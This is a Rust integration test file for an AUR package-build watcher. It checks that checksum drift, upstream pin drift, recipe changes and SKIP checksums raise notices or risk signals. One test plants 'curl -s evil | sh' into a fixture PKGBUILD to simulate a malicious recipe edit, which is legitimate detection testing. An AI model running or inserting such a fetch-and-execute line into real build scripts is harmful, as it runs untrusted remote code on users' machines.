summaryrefslogtreecommitdiffstats
path: root/tests/notices.rs
blob: 3fb00556c5dde4ea0bdeddd754ffd83bb33fc4ef (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
mod common;

use aur_build::db::{self, model::*};
use aur_build::review::risk;
use aur_build::review::approve::approve as do_approve;
use aur_build::review::{candidates, diff};
use aur_build::watch::detect;
use common::*;

fn detect_outcome(env: &Env, name: &str) -> detect::Outcome {
    detect::check_pkgbase(&env.cfg, &env.db, name).unwrap().outcome
}

fn publish_current(env: &Env) {
    let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
    let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap();
    do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap();
    let c = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap();
    let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
    let out = aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap();
    assert!(matches!(out, aur_build::pipeline::Outcome::Succeeded { .. }), "{out:?}");
}

#[test]
fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() {
    let (env, fx) = env_with_fixture("digest-drift");
    detect_outcome(&env, "digest-drift");
    publish_current(&env);

    fx.swap_payload("EVIL: whatever the CDN serves now");
    let outcome = detect_outcome(&env, "digest-drift");
    match outcome {
        detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::INTEGRITY_ALERT),
        other => panic!("expected an integrity alert, got {other:?}"),
    }
    assert!(
        candidates::pending_candidates(&env.db).unwrap().is_empty(),
        "approving this could not publish anything, so it is not a review"
    );
    let notices = db::list_notices(&env.db, false).unwrap();
    assert_eq!(notices.len(), 1, "the alert must not be dropped");
    assert_eq!(notices[0].kind, notice_kind::INTEGRITY_ALERT);
    assert_eq!(notices[0].severity, "high", "this is the highest-value detection we have");
    assert!(notices[0].detail_json.contains("no longer serves"), "{}", notices[0].detail_json);
    assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new());
    assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1));
}

#[test]
fn pin_drift_is_a_notice_and_opens_no_review() {
    let (env, fx) = env_with_fixture("pin-drift");
    detect_outcome(&env, "pin-drift");
    publish_current(&env);

    fx.upstream_commit("upstream: 14 more commits, pkgver() still says r1.0\n");
    env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]);
    match detect_outcome(&env, "pin-drift") {
        detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::PIN_DRIFT),
        other => panic!("expected pin_drift, got {other:?}"),
    }
    assert!(candidates::pending_candidates(&env.db).unwrap().is_empty());
    let n = &db::list_notices(&env.db, false).unwrap()[0];
    assert_eq!(n.severity, "info", "upstream moving under a frozen pkgver is informational");
    assert!(n.detail_json.contains("nothing publishable"), "{}", n.detail_json);
}

#[test]
fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() {
    let (env, fx) = env_with_fixture("plain-make");
    detect_outcome(&env, "plain-make");
    publish_current(&env);

    let path = fx.aur.join("PKGBUILD");
    let text = std::fs::read_to_string(&path).unwrap();
    std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap();
    git(&fx.aur, &["add", "-A"]);
    git(&fx.aur, &["commit", "-q", "-m", "sneaky"]);

    match detect_outcome(&env, "plain-make") {
        detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::RECIPE_DRIFT),
        other => panic!("expected recipe drift to be recorded, got {other:?}"),
    }
    assert!(candidates::pending_candidates(&env.db).unwrap().is_empty());
    let n = &db::list_notices(&env.db, false).unwrap()[0];
    assert_eq!(n.severity, "warning", "the maintainer probably forgot to bump pkgrel");
    assert!(n.detail_json.contains("pkgrel"), "{}", n.detail_json);
}

#[test]
fn skip_on_a_non_vcs_source_is_a_risk_signal() {
    let (env, _fx) = env_with_fixture("skip-checksum");
    detect_outcome(&env, "skip-checksum");
    let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
    let signals = c.risk_signals();
    assert!(
        signals.iter().any(|s| s.starts_with("skip-checksum:")),
        "SKIP on a static download must be flagged: {signals:?}"
    );
    assert_eq!(c.risk_level, risk::level::HIGH, "an unverified artifact is high risk");
}

#[test]
fn risk_scoring_compares_against_the_accepted_release() {
    let (env, fx) = env_with_fixture("plain-make");
    detect_outcome(&env, "plain-make");
    publish_current(&env);

    fx.bump(&[("pkgrel", "2")]);
    detect_outcome(&env, "plain-make");
    let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
    assert_eq!(c.risk_level, risk::level::LOW, "signals: {:?}", c.risk_signals());
    assert!(!c.risk_signals().iter().any(|s| s.starts_with("recipe-code-changed")));

    let path = fx.aur.join("PKGBUILD");
    let text = std::fs::read_to_string(&path).unwrap();
    std::fs::write(
        &path,
        text.replace("echo building plain-make", "cargo build --release")
            .replace("pkgrel=2", "pkgrel=3\nmakedepends=('cargo')"),
    )
    .unwrap();
    git(&fx.aur, &["add", "-A"]);
    git(&fx.aur, &["commit", "-q", "-m", "modernize"]);
    detect_outcome(&env, "plain-make");
    let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
    let signals = c.risk_signals();
    assert_eq!(c.risk_level, risk::level::HIGH, "signals: {signals:?}");
    assert!(signals.iter().any(|s| s == "recipe-code-changed"), "{signals:?}");
    assert!(signals.iter().any(|s| s.starts_with("build-tool:cargo")), "{signals:?}");
    assert!(signals.iter().any(|s| s.starts_with("new-makedepends:cargo")), "{signals:?}");
}

#[test]
fn a_first_introduction_is_flagged_as_its_own_kind_of_review() {
    let (env, _fx) = env_with_fixture("plain-make");
    detect_outcome(&env, "plain-make");
    let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
    assert_eq!(c.kind, candidate_kind::FIRST_INTRODUCTION);
    assert!(c.risk_signals().contains(&"first-introduction".to_string()), "{:?}", c.risk_signals());
    assert_ne!(c.risk_level, risk::level::LOW, "the first build here deserves care");
}

#[test]
fn i11_nothing_publishable_is_ever_silently_dropped() {
    let fixtures = [
        "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset",
        "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails",
    ];
    for name in fixtures {
        let (env, fx) = env_with_fixture(name);
        let first = detect_outcome(&env, name);
        assert!(
            matches!(
                first,
                detect::Outcome::Candidate { .. }
                    | detect::Outcome::Notice { .. }
                    | detect::Outcome::Gone
                    | detect::Outcome::Blocked(_)
            ),
            "{name}: first detection produced {first:?}"
        );
        let notices = db::list_notices(&env.db, false).unwrap();
        if let detect::Outcome::Notice { kind, .. } = &first {
            assert!(
                notices.iter().any(|n| &n.kind == kind),
                "{name}: a {kind} outcome left no notice row"
            );
        }
        let _ = fx.bump(&[("pkgrel", "99")]);
        let second = detect_outcome(&env, name);
        assert!(
            !matches!(second, detect::Outcome::NoChange) || name == "git-sourced" || name == "pin-drift",
            "{name}: a recipe change produced {second:?}"
        );
    }
}

#[test]
fn notices_are_deduplicated_so_a_persistent_problem_does_not_shout() {
    let (env, fx) = env_with_fixture("digest-drift");
    detect_outcome(&env, "digest-drift");
    publish_current(&env);
    fx.swap_payload("EVIL stable");
    detect_outcome(&env, "digest-drift");
    detect_outcome(&env, "digest-drift");
    detect_outcome(&env, "digest-drift");
    assert_eq!(
        db::list_notices(&env.db, false).unwrap().len(),
        1,
        "the same drift polled three times is one alert, not three"
    );
}